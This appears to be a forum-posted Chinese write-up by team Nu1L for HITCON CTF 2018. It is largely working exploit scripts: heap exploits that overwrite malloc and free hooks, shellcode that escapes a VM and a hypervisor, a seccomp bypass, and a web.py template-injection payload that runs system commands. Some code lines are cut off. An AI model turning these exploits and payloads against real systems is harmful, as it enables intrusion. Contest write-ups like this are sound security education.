HITCON2018-WP-By Nu1L

veneno / 2018-10-22 15:03:52 / 浏览数 4100 安全技术 CTF 顶(1) 踩(0)

2018 hitcon CTF

By Nu1L

比赛网址：https://ctf2018.hitcon.org/
比赛时间：2018/10/20 02:00 UTC ~ 2018/10/22 02:00 UTC

PWN

children tcache

```
from pwn import *
#p=process('./child',env={'LD_PRELOAD':'./libc.so.6'})
p=remote('54.178.132.125', 8763)
libc = ELF('./libc.so.6')
def add(size,data):
   p.recvuntil('choice')
   p.sendline('1')
   p.recvuntil('Size:')
   p.sendline(str(size))
   p.recvuntil('Data:')
   p.send(data)

def dele(index):
   p.recvuntil('choice')
   p.sendline('3')
   p.recvuntil('Index')
   p.sendline(str(index))

for i in range(7):
   add(0x80,'xxx\n')
for i in range(7):
   dele(i)

for i in range(7):
   add(0x110-8,'xxx\n')

add(0x110-8,'aaaa\n')#7
add(0x100,'bbbb\n')#8
add(0x100,'cccc\n')#9

for i in range(7):
   dele(i)

dele(8)
dele(7)

#raw_input()
for i in range(7):
   add(0x110-8,'aaaa\n') #0-6
add(0x110-8,'a'*(0x110-8))#7
for i in range(7):
   dele(i)
#raw_input()
for i in range(7):
   add(0x80,'1234567\n')#0-6

add(0x80,'xxxxxxxx\n')#8

for i in range(7):
   dele(i)
```

```
add(0x60,'ABCD\n')#0

dele(8)
dele(9)
add(0x40,'a\n')#1
add(0x30,'b\n')#2
add(0x500,'aaaa\n')#3
add(0x120,'bbbb\n')#4
#0,3->same chunk
dele(3)
p.recvuntil('choice')
p.sendline('2')
p.recvuntil("Index:")
p.sendline('0')
addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = addr - (0x00007f2e9c12dca0-0x7f2e9bd42000)
info("libc:0x%x",libc_base)
malloc_hook = libc_base+libc.symbols['__malloc_hook']
info("malloc hook:0x%x",malloc_hook)
one = libc_base + 0x10a38c
add(0x500,'aaaaa\n')#3
dele(3)
add(0x120,'ABCDABCD\n')
dele(4)
dele(3)
dele(0)
add(0x120,p64(malloc_hook)+'\n')

add(0x120,p64(one)+'\n')
add(0x120,p64(one)+'\n')

p.sendline('1')
p.sendline('304')
p.interactive()
```

Groot

指针未初始化

```
#!/usr/bin/env python2
# coding:utf-8
from pwn import *
import os

VERBOSE = 1
DEBUG   = 1
LOCAL   = 0

target = 'groot'
libc   = []         # ■■■■libc
break_points = []
remote_addr = '54.238.202.201'
remote_port = 31733

def hint(break_points=[]):
   if LOCAL:
       out = 'gdb attach ' + str(pwnlib.util.proc.pidof(target)[0])
       for bp in break_points:
           out += " -ex 'b *{}'".format(hex(bp))
       raw_input(out+" -ex 'c'\n" if break_points else out+"\n")
# if libc:
#     elf = ELF(libc[0])
#     gadget = lambda x: next(elf.search(asm(x, os='linux', arch='amd64')))

if LOCAL:
   if libc:
       for libc_ in libc:
           os.environ['LD_PRELOAD'] = os.environ['PWD'] + '/' + libc_ + ':'
```

```
   p = process('./'+target)
   if DEBUG:
       out =  'gdb attach ' + str(pwnlib.util.proc.pidof(target)[0])
       for bp in break_points:
           out += " -ex 'b *{}'".format(hex(bp))
       raw_input(out+" -ex 'c'\n" if break_points else out+"\n")
else:
   p = remote(remote_addr,remote_port)

if VERBOSE: context.log_level = 'DEBUG'



def mkdir(dir):
   p.sendlineafter('$ ','mkdir '+dir)

def touch(name):
   p.sendlineafter('$ ','touch '+name)

def rm(name):
   p.sendlineafter('$ ','rm '+name)

def mkfile(name, content):
   p.sendlineafter('$ ','mkfile '+name)
   p.sendlineafter('Content?', content)

def cd(dir):
   p.sendlineafter('$ ','cd '+dir)

def ls(dir):
   if dir:
       p.sendlineafter('$ ','ls '+dir)
   else:
       p.sendlineafter('$ ','ls')

def mv(src, dst):
   p.sendlineafter('$ ','mv %s %s' %(src,dst))

def exp(cmd=None):

   mkdir('A'*0x30)
   cd('A'*0x30)
   touch('B'*0x30)
   cd('..')
   rm('A'*0x30)
   touch('X')
   touch('C'*0x30)
   rm('X')
   ls('')
   p.recv(0x14)
   heap = u64(p.recv(6).ljust(8,'\x00'))
   print hex(heap)
   heap_base = heap - 76864
   print hex(heap_base)

   rm(p64(heap))
   # raw_input()
   ls(p64(heap_base+0x11fd0)[:-2])
   # raw_input()
   for i in range(4):
       ls('HEHE')
   # raw_input()
   ls('A'*8+p16(0x561))
   rm('/etc/passwd')
   ls('/')
   ls('/')
   ls('/')
   p.recvuntil('dev')
   p.recv(0x10)
```

```
    libc = u64(p.recv(6).ljust(8,'\x00'))
    print hex(libc)
    libc_base = libc - 0x789ca0
    print hex(libc_base)

    # raw_input()
    for i in range(2):
        ls('D'*0x30)
    # raw_input()
    rm('/dev')

# add bin sh
    # ls('')
    mv('HEHE','sh')
    # mv('/bin/id','/bin/sh')
    # cd('../../../../../../../../../../bin')

    for i in range(9):
        ls('D'*0x60)
    # ls('E'*0x40)
    # ls('E'*0x40)
    rm('/boot')

    ls('E'*0x40)

    # raw_input('hehehe')
    free_hook = 7911656 + libc_base
    malloc_hook = 0x789c30 + libc_base
    magic = 0x4f440 + libc_base + 3792896
    ls('X'*0x40+p64(heap_base+0x50-0x28))
    ls('D'*0x30)
    # raw_input('sending free hook')
    # ls(p64(free_hook-0x28)[:-2])

    # raw_input()
    print hex(magic)
    print hex(free_hook)
    rm('A'*0x28+p64(free_hook))


    # mkdir('../../../../../../../../../../../../../../../bin/sh')
    # mv('/bin/id',p64(magic))
    ls(p64(magic))
    p.recvrepeat(1)
    # raw_input()
    p.sendline('rm ' + '../'*8+'home/groot/sh')
    # raw_input()
    # ls('123')



    # mkdir('ttt')
    # cd('ttt')

    # for i in range(10):
    #     mkdir(str(i)*0x30)
    # mkdir('C'*0x30)
    # cd('C'*0x30)
    # touch('A'*0x30)
    # cd('..')
    # rm('C'*0x30)


    # touch()


    p.interactive()
```

```
if __name__ == '__main__':
   exp("id")
```

Abyss I

是个堆栈机VM
swap 没有边界检查，可以越界到machine

把machine盖成负数，可以向上写got表
输入中放入shellcode，改shellcode跳过去即可

```
from pwn import *

p = remote('35.200.23.198', 31733)
context(arch = 'amd64', os = 'linux')
context.aslr = False
#p = process('./user.elf')
#gdb.attach(p)

#p = process('./hypervisor.elf kernel.bin ld.so.2 ./user.elf'.split(' '))
payload = '4294967295\\'
payload += '%' * ((0x2020a0 - 0x202030) / 4 - 2)
payload += '0:'
payload += '1:'
payload += '%%%%1;'
payload += str(0x2030A4 + 0x100 - 0x7b6) + '+'

# payload += str(0x7BEC0 - 0x4f322) + '\x011'
# payload += ';-'
# payload += '0;'
# payload += '.'
payload += '0;'
payload += ','
payload = payload.ljust(0x100, '\x01')
payload += asm(shellcraft.amd64.linux.open('flag', 0, 0))
payload += asm(shellcraft.amd64.linux.read(3, 'rsp', 0x100))
payload += asm(shellcraft.amd64.linux.write(1, 'rsp', 0x100))
p.sendline(payload)
p.interactive()
```

Abyss II

系统调用号对应的处理函数(大概)

```
(0, '0x239L') read
(1, '0xa9aL') write
(2, '0x972L') open
(3, '0xf4bL')
(5, '0x1caL')
(9, '0xc47L')
(10, '0x17b2L')
(11, '0xd54L')
(12, '0xbc6L')
(20, '0xb0dL')
(21, '0xa4cL')
(60, '0x966L')
(158, '0xb87L')
(221, '0x195L')
(231, '0x966L')
(257, '0xa39L')
```

write_sys 应该可以溢出。。。。试一试
让buf的地址加上size溢出到一个很小的数应该就可以过那个检查
kmalloc很大的数的时候会返回0，看了一下hypervisor似乎image base也是0，大概可以覆盖代码

hypervisor还有个蜜汁验证

已经能成功执行shellcode了，还需要逆一下串口的交互，手写一下open，read和write

```
from pwn import *
import time
context(arch = 'amd64', os = 'linux')
context.aslr = False



def runshellcode(p, s):
   payload = '4294967295\\'
   payload += '%' * ((0x2020a0 - 0x202030) / 4 - 2)
   payload += '0:'
   payload += '1:'
   payload += '%%%%1;'
   payload += str(0x2030A4 + 0x100 - 0x7b6) + '+'
   payload += '0;'
   payload += ','
   payload = payload.ljust(0x100, '\x01')
   payload += asm('push 0x61616161')
   payload += asm(shellcraft.amd64.linux.write(1, 'rsp', 0x4))
   payload += asm(shellcraft.amd64.linux.read(0, 'rsp', 0x1000))
   payload += asm('jmp rsp')
   p.sendline(payload)
   p.recvuntil('aaaa')
   p.send(s)
   context.log_level = 'debug'

def main():
   p = remote('35.200.23.198', 31733)
   #p = process('./user.elf')
   #p = process('./hypervisor.elf kernel.bin ld.so.2 ./user.elf'.split(' '))
   payload = ''

   mmap_addr = 0x500000
   payload += asm(shellcraft.amd64.linux.mmap(mmap_addr, 0x10000, 7, 16, -1, 0))
   payload += asm('push rax')
   payload += asm(shellcraft.amd64.linux.write(1, 'rsp', 8))
   payload += asm(shellcraft.amd64.linux.read(0, mmap_addr, 0x10000))
   payload += asm(shellcraft.amd64.linux.write(1, mmap_addr, 0x10000000000000000 - mmap_addr + 0x300000))
   payload += asm('push rax')
   payload += asm(shellcraft.amd64.linux.write(1, 'rsp', 8))
   runshellcode(p, payload)

   time.sleep(10)
   payload = 'flag2'.ljust(8, '\x00')
   payload += p64(3) + p64(0x100) + p64(0x100)
   payload += p64(1) + p64(0x100) + p64(0x100)
   payload = payload.ljust(0xa5d, '\x90') + '\x90'*36
   payload += asm('''
   mov dx, 0x8000
   mov eax, 0x0
   ''')
   payload += '\xef\xed'
   payload += asm('''
   mov dx, 0x8001
   mov eax, 0x8
   ''')
   payload += '\xef\xed'
   payload += asm('''
   mov dx, 0x8002
   mov eax, 0x20
   ''')
   payload += '\xef\xed'
   payload += '\xeb\xfe'
   payload = payload.ljust(0xadb, '\x90')
   payload += '\xeb\x80'
   p.send(payload)
   p.interactive()

if __name__ == '__main__':
```

```
   main()
```

Super Hexagon | solved 1, stuck 2 | pzhxbz

第一层

scanf里面似乎有一个溢出，可以覆盖函数指针

Reverse

EOP

感觉是用c++的异常处理机制实现的一个像控制流平坦化的东西。。。。

使用gdb script进行跟踪

```
b *(0x8000000+0x5620)
python f = open('log','w')
run < test_input
set $ipx=1
while ($ipx)
 python a = hex(gdb.parse_and_eval("$rax"))
 python f.write(a+'\n')
 continue
end
```

可以拿到程序的调用函数顺序，大致分析之后发现程序大概为3个循环对用户输入进行加密

大致分析后可以发现中间很多代码都是一样的，猜测是一个循环被拆分出来的结果。

于是半猜半蒙的一步一步还原算法 orz

还原之后的算法如下：

```
from pwn import *

index_table1 = [1448535819,1128528919,3149608817L,134807173,3570665939L,3806473211L,2728570142L,1936927410,3014904308L,7579369
index_table2 = [67438343,1346661484,3474112961L,1136470056,1858205430,1427801220,1604730173,4240686525L,3371867806L,1618495560
index_table3 = [3188637369L,582820552,701114700,4220844977L,1243302643,2083749073,4237360308L,274927765,1468159766,1029651878,
index_table4 = [3254152897L,164942601,2959793584L,416270104,3784037601L,3834433764L,1757560168,4258422525L,2986054833L,2131031

xor_table = [40806489, 4046542995L, 2337878950L, 3878399079L, 449612036, 776524271, 1059181995, 1764973087, 3196283120L, 40595

flag = raw_input()

def to_bytes(d):
   res = []
   tmp = hex(d).replace('0x','').rjust(8,'0')
   for i in xrange(0,8,2):
       res.append(int(tmp[i:i+2],16))
   return res[::-1]

def ROR(d,n):
   return ( (d >> n) | (d << (32-n)) ) % 0x100000000

def ROL(d,n):
   return ( (d << n) | (d >> (32-n)) ) % 0x100000000

def en(data):
   t1 = u32(data[0:4])
   t2 = u32(data[4:8])
   t3 = u32(data[8:12])
   t4 = u32(data[12:16])
   t1 ^= 0x0C01A4D6E
   t2 ^= 0x0A4CB6636
   t3 ^= 0x5B0F5BA1
   t4 ^= 0x2B266926
   #print(hex(t1),hex(t2),hex(t3),hex(t4))
   for i in xrange(0,32,4):
       tt5 = to_bytes(t1)
```

```
        t5 = index_table1[tt5[0]] ^ index_table2[tt5[1]] ^ index_table3[tt5[2]] ^ index_table4[tt5[3]]
        tt6 = to_bytes(t2)
        t6 = index_table2[tt6[0]] ^ index_table3[tt6[1]] ^ index_table4[tt6[2]] ^ index_table1[tt6[3]]
        t3 ^=(xor_table[i] + t5 + t6)%0x100000000
        #print(hex(t1),hex(t2),hex(t3),hex(t4),hex(t5),hex(t6))
        t3 = ROR(t3,1)
        t4 = ROL(t4,1)
        #print(hex(t1),hex(t2),hex(t3),hex(t4),hex(t5),hex(t6))
        t4 ^= (xor_table[i+1] + t5 + t6 * 2)%0x100000000
        tt5 = to_bytes(t3)
        t5 = index_table1[tt5[0]] ^ index_table2[tt5[1]] ^ index_table3[tt5[2]] ^ index_table4[tt5[3]]
        tt6 = to_bytes(t4)
        t6 = index_table2[tt6[0]] ^ index_table3[tt6[1]] ^ index_table4[tt6[2]] ^ index_table1[tt6[3]]
        t1 ^= (xor_table[i+2] + t5 + t6)%0x100000000
        t1 = ROR(t1,1)
        t2 = ROL(t2,1)
        t2 ^= (xor_table[i+3] + t5 + t6 * 2)%0x100000000
        print(hex(t1),hex(t2),hex(t3),hex(t4),hex(t5),hex(t6))

    t3 ^= 0x0EF75CB8F
    t4 ^= 0x0A037222A
    t1 ^= 0x0BA69619A
    t2 ^= 0x60798932
    return p32(t3) + p32(t4) + p32(t1) + p32(t2)
```

解密算法如下：

```
def de(data):
    t3 = u32(data[0:4])
    t4 = u32(data[4:8])
    t1 = u32(data[8:12])
    t2 = u32(data[12:16])

    t3 ^= 0x0EF75CB8F
    t4 ^= 0x0A037222A
    t1 ^= 0x0BA69619A
    t2 ^= 0x60798932
    for i in range(0,32,4)[::-1]:
        tt5 = to_bytes(t3)
        t5 = index_table1[tt5[0]] ^ index_table2[tt5[1]] ^ index_table3[tt5[2]] ^ index_table4[tt5[3]]
        tt6 = to_bytes(t4)
        t6 = index_table2[tt6[0]] ^ index_table3[tt6[1]] ^ index_table4[tt6[2]] ^ index_table1[tt6[3]]
        print(hex(t1),hex(t2),hex(t3),hex(t4),hex(t5),hex(t6))
        t2 ^= (xor_table[i+3] + t5 + t6 * 2)%0x100000000
        t2 = ROR(t2,1)
        t1 = ROL(t1,1)
        t1 ^= (xor_table[i+2] + t5 + t6)%0x100000000

        tt5 = to_bytes(t1)
        t5 = index_table1[tt5[0]] ^ index_table2[tt5[1]] ^ index_table3[tt5[2]] ^ index_table4[tt5[3]]
        tt6 = to_bytes(t2)
        t6 = index_table2[tt6[0]] ^ index_table3[tt6[1]] ^ index_table4[tt6[2]] ^ index_table1[tt6[3]]
        t4 ^= (xor_table[i+1] + t5 + t6 * 2)%0x100000000
        t3 = ROL(t3,1)
        t4 = ROR(t4,1)
        t3 ^=(xor_table[i] + t5 + t6)%0x100000000

        #print(hex(t1),hex(t2),hex(t3),hex(t4),hex(t5),hex(t6))
    t1 ^= 0x0C01A4D6E
    t2 ^= 0x0A4CB6636
    t3 ^= 0x5B0F5BA1
    t4 ^= 0x2B266926
    return p32(t1) + p32(t2) + p32(t3) + p32(t4)

def xor_str(a,b):
    res = ''
    for i in xrange(16):
        res += chr(ord(a[i]) ^ ord(b[i]))
    return res
```

```
de_flag = [0x4F, 0x6F, 0xA7, 0x87, 0xE9, 0x51, 0x87, 0x64, 0x38, 0x2A, 0x46, 0xE5, 0x4F, 0x21, 0x9E, 0x1C, 0xCD, 0x65, 0xE1, 0

de_c = ''
for i in de_flag:
   de_c += chr(i)
# a = en('a'*16)
# print('---')
# print(de(a))

print((xor_str(de_c[16:32],de(de_c[32:48]))))

# ~Exc3p7i0n-Ori3n7ed-Pr0grammin9~RoO0cks!!\o^_^o/
```

Web

On my raddit

8个字节分组加密，动一动LSB仍然可以解密，DES？

2e7e305f2da018a2cf8208fa1fefc238 + 加密的文件名 + 3ca92540eb2d0a42 下载文件

3ca92540eb2d0a42应该是padding，8个字节拿hashcat爆破了下

```
3ca92540eb2d0a42:0808080808080808:ldgonaro

Session..........: hashcat
Status...........: Cracked
Hash.Type........: DES (PT = $salt, key = $pass)
Hash.Target......: 3ca92540eb2d0a42:0808080808080808
```

爆破出来一个ldgonaro，FLAG但是不对，应该是个等效密钥。
首页有下载链接，发现能下载文件，于是解密：

```
from Crypto.Cipher import DES
key = 'ldgonaro'
def decrypt(decryptText):
   try:
       cipherX = DES.new(key, DES.MODE_ECB)
       str = decryptText.decode('hex')
       y = cipherX.decrypt(str)
       return y[0:ord(y[len(y)-1])*-1]
   except:
       return ""
print decrypt('2e7e305f2da018a2cf8208fa1fefc238522c932a276554e5f8085ba33f9600b301c3c95652a912b0342653ddcdc4703e5975bd2ff6cc8a1

=>m=d&f=uploads%2F70c97cc1-079f-4d01-8798-f36925ec1fd7.pdf
```

将f参数换成app.py加密得到E2272B36277C708BC21066647BC214B8，然后得到密钥megnnaro

On my raddit2

https://securityetalii.es/2014/11/08/remote-code-execution-in-web-py-framework/
web.py的db写的有问题：

```
# coding: UTF-8
import os
import urllib
import urlparse
from Crypto.Cipher import DES
ENCRPYTION_KEY = 'megnnaro'
def encrypt(s):
   length = DES.block_size - (len(s) % DES.block_size)
   s = s + chr(length)*length

   cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)
   return cipher.encrypt(s).encode('hex')

def decrypt(s):
   try:
```

```
        data = s.decode('hex')
        cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)
        data = cipher.decrypt(data)
        data = data[:-ord(data[-1])]
        return dict(urlparse.parse_qsl(data))
    except Exception as e:
        print e.message
        return {}


print encrypt(urllib.urlencode({'m':'p','l':"${[].__class__.__base__.__subclasses__()[59]().__module.linecache.os.system('/read

print encrypt(urllib.urlencode({'m':'d','f':'/tmp/fffza'}))
```

然后依次访问即可。

MISC

Lumosity

签到题

EV3 Basic

LEGO EV3机器人的数据包

81 xx 81 xx 84 xx 应该表示列，行，字符

```
0a 14 1e 28 32 3c 46 50 5a 64 6e 78 82 8c 96 a0
28   h  i  t  c  o  n  {  m  1  n  d  5  t  0  r  m
36   _  c  o  m  m  u  n  i  c  a  t  i  o  n  _  a
44   n  d  _  f  i  r  m  w  a  r  e  _  d  e  v  e
52   l  o  p  e  r  _  k  i  t  }
```

32world

64bit ELF，retf切到32位代码，执行shellcode，24字节，syscall的时候IP需要大于FFFFFFFF

```
line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x0000000c  A = instruction_pointer >> 32
0001: 0x15 0x00 0x01 0x00000000  if (A != 0x0) goto 0003
0002: 0x06 0x00 0x00 0x00000000  return KILL
0003: 0x06 0x00 0x00 0x7fff0000  return ALLOW
```

切回64bit，跳一个one gadget，读一下fs拿地址

```
from pwn import *

#p = process('./32world')
p = remote('54.65.133.244', 8361)

context(bits = 32, arch = 'i386')


sc1 = '''
retf
'''

sc11 = asm('push 0x33')

sc1 = asm(sc1)

print sc1, len(sc1)

context(bits = 64, arch = 'amd64')

sc2 = asm('mov rax, fs:[rdx+0x900]; add rax, 0xf1147; call rax')

sc1 = sc11 + '\xe8\x10\x00\x00\x00' + sc2 + sc1
```

```
print sc1, len(sc1)


p.sendline(sc1)

p.interactive()
```

点击收藏 | 0 关注 | 1

上一篇：基于Safari浏览器漏洞的XSS攻击 下一篇：ROPping through s...

1. 1 条回复

dotsu 2018-10-22 16:41:12

EOP那个题是个twofish加密，google里搜table里的int能搜到

1 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板